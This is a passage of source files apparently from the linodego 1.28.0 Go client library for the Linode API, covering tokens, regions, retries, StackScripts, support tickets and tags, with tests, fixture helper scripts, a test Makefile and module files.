endpoint URL for Token func (TokensPagedResponse) endpoint(_ ...any) string { return "profile/tokens" } func (resp *TokensPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(TokensPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*TokensPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListTokens lists Tokens func (c *Client) ListTokens(ctx context.Context, opts *ListOptions) ([]Token, error) { response := TokensPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetToken gets the token with the provided ID func (c *Client) GetToken(ctx context.Context, tokenID int) (*Token, error) { e := fmt.Sprintf("profile/tokens/%d", tokenID) req := c.R(ctx).SetResult(&Token{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Token), nil } // CreateToken creates a Token func (c *Client) CreateToken(ctx context.Context, opts TokenCreateOptions) (*Token, error) { // Format the Time as a string to meet the ISO8601 requirement createOptsFixed := struct { Label string `json:"label"` Scopes string `json:"scopes"` Expiry *string `json:"expiry"` }{} createOptsFixed.Label = opts.Label createOptsFixed.Scopes = opts.Scopes if opts.Expiry != nil { iso8601Expiry := opts.Expiry.UTC().Format("2006-01-02T15:04:05") createOptsFixed.Expiry = &iso8601Expiry } body, err := json.Marshal(createOptsFixed) if err != nil { return nil, err } e := "profile/tokens" req := c.R(ctx).SetResult(&Token{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Token), nil } // UpdateToken updates the Token with the specified id func (c *Client) UpdateToken(ctx context.Context, tokenID int, opts TokenUpdateOptions) (*Token, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("profile/tokens/%d", tokenID) req := c.R(ctx).SetResult(&Token{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*Token), nil } // DeleteToken deletes the Token with the specified id func (c *Client) DeleteToken(ctx context.Context, tokenID int) error { e := fmt.Sprintf("profile/tokens/%d", tokenID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/regions.go000066400000000000000000000046671455402072200214120ustar00rootroot00000000000000package linodego import ( "context" "fmt" "net/url" "time" "github.com/go-resty/resty/v2" ) // Region-related endpoints have a custom expiry time as the // `status` field may update for database outages. var cacheExpiryTime = time.Minute // Region represents a linode region object type Region struct { ID string `json:"id"` Country string `json:"country"` Capabilities []string `json:"capabilities"` Status string `json:"status"` Resolvers RegionResolvers `json:"resolvers"` Label string `json:"label"` } // RegionResolvers contains the DNS resolvers of a region type RegionResolvers struct { IPv4 string `json:"ipv4"` IPv6 string `json:"ipv6"` } // RegionsPagedResponse represents a linode API response for listing type RegionsPagedResponse struct { *PageOptions Data []Region `json:"data"` } // endpoint gets the endpoint URL for Region func (RegionsPagedResponse) endpoint(_ ...any) string { return "regions" } func (resp *RegionsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(RegionsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*RegionsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListRegions lists Regions. This endpoint is cached by default. func (c *Client) ListRegions(ctx context.Context, opts *ListOptions) ([]Region, error) { response := RegionsPagedResponse{} endpoint, err := generateListCacheURL(response.endpoint(), opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]Region), nil } err = c.listHelper(ctx, &response, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response.Data, &cacheExpiryTime) return response.Data, nil } // GetRegion gets the template with the provided ID. This endpoint is cached by default. func (c *Client) GetRegion(ctx context.Context, regionID string) (*Region, error) { e := fmt.Sprintf("regions/%s", url.PathEscape(regionID)) if result := c.getCachedResponse(e); result != nil { result := result.(Region) return &result, nil } req := c.R(ctx).SetResult(&Region{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } c.addCachedResponse(e, r.Result(), &cacheExpiryTime) return r.Result().(*Region), nil } golang-github-linode-linodego-1.28.0/regions_availability.go000066400000000000000000000043271455402072200241350ustar00rootroot00000000000000package linodego import ( "context" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // Region represents a linode region object type RegionAvailability struct { Region string `json:"region"` Plan string `json:"plan"` Available bool `json:"available"` } // RegionsAvailabilityPagedResponse represents a linode API response for listing type RegionsAvailabilityPagedResponse struct { *PageOptions Data []RegionAvailability `json:"data"` } // endpoint gets the endpoint URL for Region func (RegionsAvailabilityPagedResponse) endpoint(_ ...any) string { return "regions/availability" } func (resp *RegionsAvailabilityPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(RegionsAvailabilityPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*RegionsAvailabilityPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListRegionsAvailability lists Regions. This endpoint is cached by default. func (c *Client) ListRegionsAvailability(ctx context.Context, opts *ListOptions) ([]RegionAvailability, error) { response := RegionsAvailabilityPagedResponse{} endpoint, err := generateListCacheURL(response.endpoint(), opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]RegionAvailability), nil } err = c.listHelper(ctx, &response, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response.Data, &cacheExpiryTime) return response.Data, nil } // GetRegionAvailability gets the template with the provided ID. This endpoint is cached by default. func (c *Client) GetRegionAvailability(ctx context.Context, regionID string) (*RegionAvailability, error) { e := fmt.Sprintf("regions/%s/availability", url.PathEscape(regionID)) if result := c.getCachedResponse(e); result != nil { result := result.(RegionAvailability) return &result, nil } req := c.R(ctx).SetResult(&RegionAvailability{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } c.addCachedResponse(e, r.Result(), &cacheExpiryTime) return r.Result().(*RegionAvailability), nil } golang-github-linode-linodego-1.28.0/retries.go000066400000000000000000000061721455402072200214120ustar00rootroot00000000000000package linodego import ( "errors" "log" "net/http" "strconv" "time" "github.com/go-resty/resty/v2" "golang.org/x/net/http2" ) const ( retryAfterHeaderName = "Retry-After" maintenanceModeHeaderName = "X-Maintenance-Mode" ) // type RetryConditional func(r *resty.Response) (shouldRetry bool) type RetryConditional resty.RetryConditionFunc // type RetryAfter func(c *resty.Client, r *resty.Response) (time.Duration, error) type RetryAfter resty.RetryAfterFunc // Configures resty to // lock until enough time has passed to retry the request as determined by the Retry-After response header. // If the Retry-After header is not set, we fall back to value of SetPollDelay. func configureRetries(c *Client) { c.resty. SetRetryCount(1000). AddRetryCondition(checkRetryConditionals(c)). SetRetryAfter(respectRetryAfter) } func checkRetryConditionals(c *Client) func(*resty.Response, error) bool { return func(r *resty.Response, err error) bool { for _, retryConditional := range c.retryConditionals { retry := retryConditional(r, err) if retry { log.Printf("[INFO] Received error %s - Retrying", r.Error()) return true } } return false } } // SetLinodeBusyRetry configures resty to retry specifically on "Linode busy." errors // The retry wait time is configured in SetPollDelay func linodeBusyRetryCondition(r *resty.Response, _ error) bool { apiError, ok := r.Error().(*APIError) linodeBusy := ok && apiError.Error() == "Linode busy." retry := r.StatusCode() == http.StatusBadRequest && linodeBusy return retry } func tooManyRequestsRetryCondition(r *resty.Response, _ error) bool { return r.StatusCode() == http.StatusTooManyRequests } func serviceUnavailableRetryCondition(r *resty.Response, _ error) bool { serviceUnavailable := r.StatusCode() == http.StatusServiceUnavailable // During maintenance events, the API will return a 503 and add // an `X-MAINTENANCE-MODE` header. Don't retry during maintenance // events, only for legitimate 503s. if serviceUnavailable && r.Header().Get(maintenanceModeHeaderName) != "" { log.Printf("[INFO] Linode API is under maintenance, request will not be retried - please see status.linode.com for more information") return false } return serviceUnavailable } func requestTimeoutRetryCondition(r *resty.Response, _ error) bool { return r.StatusCode() == http.StatusRequestTimeout } func requestGOAWAYRetryCondition(_ *resty.Response, e error) bool { return errors.As(e, &http2.GoAwayError{}) } func requestNGINXRetryCondition(r *resty.Response, _ error) bool { return r.StatusCode() == http.StatusBadRequest && r.Header().Get("Server") == "nginx" && r.Header().Get("Content-Type") == "text/html" } func respectRetryAfter(client *resty.Client, resp *resty.Response) (time.Duration, error) { retryAfterStr := resp.Header().Get(retryAfterHeaderName) if retryAfterStr == "" { return 0, nil } retryAfter, err := strconv.Atoi(retryAfterStr) if err != nil { return 0, err } duration := time.Duration(retryAfter) * time.Second log.Printf("[INFO] Respecting Retry-After Header of %d (%s) (max %s)", retryAfter, duration, client.RetryMaxWaitTime) return duration, nil } golang-github-linode-linodego-1.28.0/retries_test.go000066400000000000000000000035661455402072200224550ustar00rootroot00000000000000package linodego import ( "net/http" "testing" "time" "github.com/go-resty/resty/v2" ) func TestLinodeBusyRetryCondition(t *testing.T) { var retry bool request := resty.Request{} rawResponse := http.Response{StatusCode: http.StatusBadRequest} response := resty.Response{ Request: &request, RawResponse: &rawResponse, } retry = linodeBusyRetryCondition(&response, nil) if retry { t.Errorf("Should not have retried") } apiError := APIError{ Errors: []APIErrorReason{ {Reason: "Linode busy."}, }, } request.SetError(&apiError) retry = linodeBusyRetryCondition(&response, nil) if !retry { t.Errorf("Should have retried") } } func TestLinodeServiceUnavailableRetryCondition(t *testing.T) { request := resty.Request{} rawResponse := http.Response{StatusCode: http.StatusServiceUnavailable, Header: http.Header{ retryAfterHeaderName: []string{"20"}, }} response := resty.Response{ Request: &request, RawResponse: &rawResponse, } if retry := serviceUnavailableRetryCondition(&response, nil); !retry { t.Error("expected request to be retried") } if retryAfter, err := respectRetryAfter(NewClient(nil).resty, &response); err != nil { t.Errorf("expected error to be nil but got %s", err) } else if retryAfter != time.Second*20 { t.Errorf("expected retryAfter to be 20 but got %d", retryAfter) } } func TestLinodeServiceMaintenanceModeRetryCondition(t *testing.T) { request := resty.Request{} rawResponse := http.Response{StatusCode: http.StatusServiceUnavailable, Header: http.Header{ retryAfterHeaderName: []string{"20"}, maintenanceModeHeaderName: []string{"Currently in maintenance mode."}, }} response := resty.Response{ Request: &request, RawResponse: &rawResponse, } if retry := serviceUnavailableRetryCondition(&response, nil); retry { t.Error("expected retry to be skipped due to maintenance mode header") } } golang-github-linode-linodego-1.28.0/scripts/000077500000000000000000000000001455402072200210675ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/scripts/update_fixtures_contains_specific_string.py000066400000000000000000000017201455402072200320050ustar00rootroot00000000000000import sys import subprocess from pathlib import Path repo_dir = Path(__file__).parent.parent directory = repo_dir / Path("test/integration/fixtures") search_string = sys.argv[1] failed_tests = [] for file in directory.glob("*"): if file.is_file(): content = file.read_text() if search_string in content: print(f"Found {search_string} in {file}") test_case = file.name.split(".")[0] command = f"make ARGS=\"-run {test_case}\" fixtures" output = subprocess.run(command, shell=True, capture_output=True) if output.returncode == 0: print(f"Successfully ran '{command}'") else: print(f"Command {command} failed with error:") print(output.stderr.decode()) failed_tests.append(test_case) else: print(f"Did not find {search_string} in {file}") print(f"These fixture generations failed: {failed_tests}") golang-github-linode-linodego-1.28.0/scripts/verify-gomod-tidy.sh000066400000000000000000000003011455402072200247730ustar00rootroot00000000000000#!/usr/bin/env bash set -e go mod tidy if [[ `git status --porcelain` ]]; then echo 'go.mod needs updating' echo 'Please run "go mod tidy" to fix dependencies' exit 1 fi exit 0 golang-github-linode-linodego-1.28.0/stackscripts.go000066400000000000000000000137261455402072200224550ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // Stackscript represents a Linode StackScript type Stackscript struct { ID int `json:"id"` Username string `json:"username"` Label string `json:"label"` Description string `json:"description"` Ordinal int `json:"ordinal"` LogoURL string `json:"logo_url"` Images []string `json:"images"` DeploymentsTotal int `json:"deployments_total"` DeploymentsActive int `json:"deployments_active"` IsPublic bool `json:"is_public"` Mine bool `json:"mine"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` RevNote string `json:"rev_note"` Script string `json:"script"` UserDefinedFields *[]StackscriptUDF `json:"user_defined_fields"` UserGravatarID string `json:"user_gravatar_id"` } // StackscriptUDF define a single variable that is accepted by a Stackscript type StackscriptUDF struct { // A human-readable label for the field that will serve as the input prompt for entering the value during deployment. Label string `json:"label"` // The name of the field. Name string `json:"name"` // An example value for the field. Example string `json:"example"` // A list of acceptable single values for the field. OneOf string `json:"oneOf,omitempty"` // A list of acceptable values for the field in any quantity, combination or order. ManyOf string `json:"manyOf,omitempty"` // The default value. If not specified, this value will be used. Default string `json:"default,omitempty"` } // StackscriptCreateOptions fields are those accepted by CreateStackscript type StackscriptCreateOptions struct { Label string `json:"label"` Description string `json:"description"` Images []string `json:"images"` IsPublic bool `json:"is_public"` RevNote string `json:"rev_note"` Script string `json:"script"` } // StackscriptUpdateOptions fields are those accepted by UpdateStackscript type StackscriptUpdateOptions StackscriptCreateOptions // UnmarshalJSON implements the json.Unmarshaler interface func (i *Stackscript) UnmarshalJSON(b []byte) error { type Mask Stackscript p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetCreateOptions converts a Stackscript to StackscriptCreateOptions for use in CreateStackscript func (i Stackscript) GetCreateOptions() StackscriptCreateOptions { return StackscriptCreateOptions{ Label: i.Label, Description: i.Description, Images: i.Images, IsPublic: i.IsPublic, RevNote: i.RevNote, Script: i.Script, } } // GetUpdateOptions converts a Stackscript to StackscriptUpdateOptions for use in UpdateStackscript func (i Stackscript) GetUpdateOptions() StackscriptUpdateOptions { return StackscriptUpdateOptions{ Label: i.Label, Description: i.Description, Images: i.Images, IsPublic: i.IsPublic, RevNote: i.RevNote, Script: i.Script, } } // StackscriptsPagedResponse represents a paginated Stackscript API response type StackscriptsPagedResponse struct { *PageOptions Data []Stackscript `json:"data"` } // endpoint gets the endpoint URL for Stackscript func (StackscriptsPagedResponse) endpoint(_ ...any) string { return "linode/stackscripts" } func (resp *StackscriptsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(StackscriptsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*StackscriptsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListStackscripts lists Stackscripts func (c *Client) ListStackscripts(ctx context.Context, opts *ListOptions) ([]Stackscript, error) { response := StackscriptsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetStackscript gets the Stackscript with the provided ID func (c *Client) GetStackscript(ctx context.Context, scriptID int) (*Stackscript, error) { e := fmt.Sprintf("linode/stackscripts/%d", scriptID) req := c.R(ctx).SetResult(&Stackscript{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Stackscript), nil } // CreateStackscript creates a StackScript func (c *Client) CreateStackscript(ctx context.Context, opts StackscriptCreateOptions) (*Stackscript, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "linode/stackscripts" req := c.R(ctx).SetResult(&Stackscript{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Stackscript), nil } // UpdateStackscript updates the StackScript with the specified id func (c *Client) UpdateStackscript(ctx context.Context, scriptID int, opts StackscriptUpdateOptions) (*Stackscript, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&Stackscript{}).SetBody(string(body)) e := fmt.Sprintf("linode/stackscripts/%d", scriptID) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*Stackscript), nil } // DeleteStackscript deletes the StackScript with the specified id func (c *Client) DeleteStackscript(ctx context.Context, scriptID int) error { e := fmt.Sprintf("linode/stackscripts/%d", scriptID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/support.go000066400000000000000000000051511455402072200214450ustar00rootroot00000000000000package linodego import ( "context" "fmt" "time" "github.com/go-resty/resty/v2" ) // Ticket represents a support ticket object type Ticket struct { ID int `json:"id"` Attachments []string `json:"attachments"` Closed *time.Time `json:"-"` Description string `json:"description"` Entity *TicketEntity `json:"entity"` GravatarID string `json:"gravatar_id"` Opened *time.Time `json:"-"` OpenedBy string `json:"opened_by"` Status TicketStatus `json:"status"` Summary string `json:"summary"` Updated *time.Time `json:"-"` UpdatedBy string `json:"updated_by"` } // TicketEntity refers a ticket to a specific entity type TicketEntity struct { ID int `json:"id"` Label string `json:"label"` Type string `json:"type"` URL string `json:"url"` } // TicketStatus constants start with Ticket and include Linode API Ticket Status values type TicketStatus string // TicketStatus constants reflect the current status of a Ticket const ( TicketNew TicketStatus = "new" TicketClosed TicketStatus = "closed" TicketOpen TicketStatus = "open" ) // TicketsPagedResponse represents a paginated ticket API response type TicketsPagedResponse struct { *PageOptions Data []Ticket `json:"data"` } func (TicketsPagedResponse) endpoint(_ ...any) string { return "support/tickets" } func (resp *TicketsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(TicketsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*TicketsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListTickets returns a collection of Support Tickets on the Account. Support Tickets // can be both tickets opened with Linode for support, as well as tickets generated by // Linode regarding the Account. This collection includes all Support Tickets generated // on the Account, with open tickets returned first. func (c *Client) ListTickets(ctx context.Context, opts *ListOptions) ([]Ticket, error) { response := TicketsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetTicket gets a Support Ticket on the Account with the specified ID func (c *Client) GetTicket(ctx context.Context, ticketID int) (*Ticket, error) { e := fmt.Sprintf("support/tickets/%d", ticketID) req := c.R(ctx).SetResult(&Ticket{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Ticket), nil } golang-github-linode-linodego-1.28.0/tags.go000066400000000000000000000137751455402072200207020ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "errors" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // Tag represents a Tag object type Tag struct { Label string `json:"label"` } // TaggedObject represents a Tagged Object object type TaggedObject struct { Type string `json:"type"` RawData json.RawMessage `json:"data"` Data any `json:"-"` } // SortedObjects currently only includes Instances type SortedObjects struct { Instances []Instance LKEClusters []LKECluster Domains []Domain Volumes []Volume NodeBalancers []NodeBalancer /* StackScripts []Stackscript */ } // TaggedObjectList are a list of TaggedObjects, as returning by ListTaggedObjects type TaggedObjectList []TaggedObject // TagCreateOptions fields are those accepted by CreateTag type TagCreateOptions struct { Label string `json:"label"` Linodes []int `json:"linodes,omitempty"` // @TODO is this implemented? LKEClusters []int `json:"lke_clusters,omitempty"` Domains []int `json:"domains,omitempty"` Volumes []int `json:"volumes,omitempty"` NodeBalancers []int `json:"nodebalancers,omitempty"` } // GetCreateOptions converts a Tag to TagCreateOptions for use in CreateTag func (i Tag) GetCreateOptions() (o TagCreateOptions) { o.Label = i.Label return } // TagsPagedResponse represents a paginated Tag API response type TagsPagedResponse struct { *PageOptions Data []Tag `json:"data"` } // endpoint gets the endpoint URL for Tag func (TagsPagedResponse) endpoint(_ ...any) string { return "tags" } func (resp *TagsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(TagsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*TagsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // TaggedObjectsPagedResponse represents a paginated Tag API response type TaggedObjectsPagedResponse struct { *PageOptions Data []TaggedObject `json:"data"` } // endpoint gets the endpoint URL for Tag func (TaggedObjectsPagedResponse) endpoint(ids ...any) string { id := url.PathEscape(ids[0].(string)) return fmt.Sprintf("tags/%s", id) } func (resp *TaggedObjectsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(TaggedObjectsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*TaggedObjectsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListTags lists Tags func (c *Client) ListTags(ctx context.Context, opts *ListOptions) ([]Tag, error) { response := TagsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // fixData stores an object of the type defined by Type in Data using RawData func (i *TaggedObject) fixData() (*TaggedObject, error) { switch i.Type { case "linode": obj := Instance{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj case "lke_cluster": obj := LKECluster{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj case "nodebalancer": obj := NodeBalancer{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj case "domain": obj := Domain{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj case "volume": obj := Volume{} if err := json.Unmarshal(i.RawData, &obj); err != nil { return nil, err } i.Data = obj } return i, nil } // ListTaggedObjects lists Tagged Objects func (c *Client) ListTaggedObjects(ctx context.Context, label string, opts *ListOptions) (TaggedObjectList, error) { response := TaggedObjectsPagedResponse{} label = url.PathEscape(label) err := c.listHelper(ctx, &response, opts, label) if err != nil { return nil, err } for i := range response.Data { if _, err := response.Data[i].fixData(); err != nil { return nil, err } } return response.Data, nil } // SortedObjects converts a list of TaggedObjects into a Sorted Objects struct, for easier access func (t TaggedObjectList) SortedObjects() (SortedObjects, error) { so := SortedObjects{} for _, o := range t { switch o.Type { case "linode": if instance, ok := o.Data.(Instance); ok { so.Instances = append(so.Instances, instance) } else { return so, errors.New("expected an Instance when Type was \"linode\"") } case "lke_cluster": if lkeCluster, ok := o.Data.(LKECluster); ok { so.LKEClusters = append(so.LKEClusters, lkeCluster) } else { return so, errors.New("expected an LKECluster when Type was \"lke_cluster\"") } case "domain": if domain, ok := o.Data.(Domain); ok { so.Domains = append(so.Domains, domain) } else { return so, errors.New("expected a Domain when Type was \"domain\"") } case "volume": if volume, ok := o.Data.(Volume); ok { so.Volumes = append(so.Volumes, volume) } else { return so, errors.New("expected an Volume when Type was \"volume\"") } case "nodebalancer": if nodebalancer, ok := o.Data.(NodeBalancer); ok { so.NodeBalancers = append(so.NodeBalancers, nodebalancer) } else { return so, errors.New("expected an NodeBalancer when Type was \"nodebalancer\"") } } } return so, nil } // CreateTag creates a Tag func (c *Client) CreateTag(ctx context.Context, opts TagCreateOptions) (*Tag, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "tags" req := c.R(ctx).SetResult(&Tag{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Tag), nil } // DeleteTag deletes the Tag with the specified id func (c *Client) DeleteTag(ctx context.Context, label string) error { label = url.PathEscape(label) e := fmt.Sprintf("tags/%s", label) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/test/000077500000000000000000000000001455402072200203575ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/Makefile000066400000000000000000000006171455402072200220230ustar00rootroot00000000000000.PHONY: test test: @LINODE_FIXTURE_MODE="play" \ LINODE_TOKEN="awesometokenawesometokenawesometoken" \ LINODE_API_VERSION="v4beta" \ GO111MODULE="on" \ go test -v ./integration $(ARGS) .PHONY: smoketest smoketest: @LINODE_FIXTURE_MODE="play" \ LINODE_TOKEN="awesometokenawesometokenawesometoken" \ LINODE_API_VERSION="v4beta" \ GO111MODULE="on" \ go test -v -run smoke ./integration/...golang-github-linode-linodego-1.28.0/test/go.mod000066400000000000000000000043421455402072200214700ustar00rootroot00000000000000module github.com/linode/linodego/test require ( github.com/dnaeon/go-vcr v1.1.0 github.com/google/go-cmp v0.6.0 github.com/jarcoal/httpmock v1.2.0 github.com/linode/linodego v1.25.0 github.com/linode/linodego/k8s v0.0.0-00010101000000-000000000000 golang.org/x/net v0.20.0 golang.org/x/oauth2 v0.8.0 k8s.io/client-go v0.28.1 ) require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/emicklei/go-restful/v3 v3.9.0 // indirect github.com/go-logr/logr v1.2.4 // indirect github.com/go-openapi/jsonpointer v0.19.6 // indirect github.com/go-openapi/jsonreference v0.20.2 // indirect github.com/go-openapi/swag v0.22.3 // indirect github.com/go-resty/resty/v2 v2.11.0 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/golang/protobuf v1.5.3 // indirect github.com/google/gnostic-models v0.6.8 // indirect github.com/google/gofuzz v1.2.0 // indirect github.com/google/uuid v1.3.0 // indirect github.com/imdario/mergo v0.3.6 // indirect github.com/josharian/intern v1.0.0 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/mailru/easyjson v0.7.7 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/spf13/pflag v1.0.5 // indirect golang.org/x/sys v0.16.0 // indirect golang.org/x/term v0.16.0 // indirect golang.org/x/text v0.14.0 // indirect golang.org/x/time v0.3.0 // indirect google.golang.org/appengine v1.6.7 // indirect google.golang.org/protobuf v1.30.0 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/ini.v1 v1.66.6 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect k8s.io/api v0.28.1 // indirect k8s.io/apimachinery v0.28.1 // indirect k8s.io/klog/v2 v2.100.1 // indirect k8s.io/kube-openapi v0.0.0-20230717233707-2695361300d9 // indirect k8s.io/utils v0.0.0-20230406110748-d93618cff8a2 // indirect sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd // indirect sigs.k8s.io/structured-merge-diff/v4 v4.2.3 // indirect sigs.k8s.io/yaml v1.3.0 // indirect ) go 1.20 replace github.com/linode/linodego => ../ replace github.com/linode/linodego/k8s => ../k8s golang-github-linode-linodego-1.28.0/test/go.sum000066400000000000000000000411551455402072200215200ustar00rootroot00000000000000github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dnaeon/go-vcr v1.1.0 h1:ReYa/UBrRyQdant9B4fNHGoCNKw6qh6P0fsdGmZpR7c= github.com/dnaeon/go-vcr v1.1.0/go.mod h1:M7tiix8f0r6mKKJ3Yq/kqU1OYf3MnfmBWVbPx/yU9ko= github.com/emicklei/go-restful/v3 v3.9.0 h1:XwGDlfxEnQZzuopoqxwSEllNcCOM9DhhFyhFIIGKwxE= github.com/emicklei/go-restful/v3 v3.9.0/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= github.com/go-logr/logr v1.2.0/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-logr/logr v1.2.4 h1:g01GSCwiDw2xSZfjJ2/T9M+S6pFdcNtFYsp+Y43HYDQ= github.com/go-logr/logr v1.2.4/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-openapi/jsonpointer v0.19.6 h1:eCs3fxoIi3Wh6vtgmLTOjdhSpiqphQ+DaPn38N2ZdrE= github.com/go-openapi/jsonpointer v0.19.6/go.mod h1:osyAmYz/mB/C3I+WsTTSgw1ONzaLJoLCyoi6/zppojs= github.com/go-openapi/jsonreference v0.20.2 h1:3sVjiK66+uXK/6oQ8xgcRKcFgQ5KXa2KvnJRumpMGbE= github.com/go-openapi/jsonreference v0.20.2/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k= github.com/go-openapi/swag v0.22.3 h1:yMBqmnQ0gyZvEb/+KzuWZOXgllrXT4SADYbvDaXHv/g= github.com/go-openapi/swag v0.22.3/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14= github.com/go-resty/resty/v2 v2.11.0 h1:i7jMfNOJYMp69lq7qozJP+bjgzfAzeOhuGlyDrqxT/8= github.com/go-resty/resty/v2 v2.11.0/go.mod h1:iiP/OpA0CkcL3IGt1O0+/SIItFUbkkyw5BGXiVdTu+A= github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/protobuf v1.3.1/go.mod 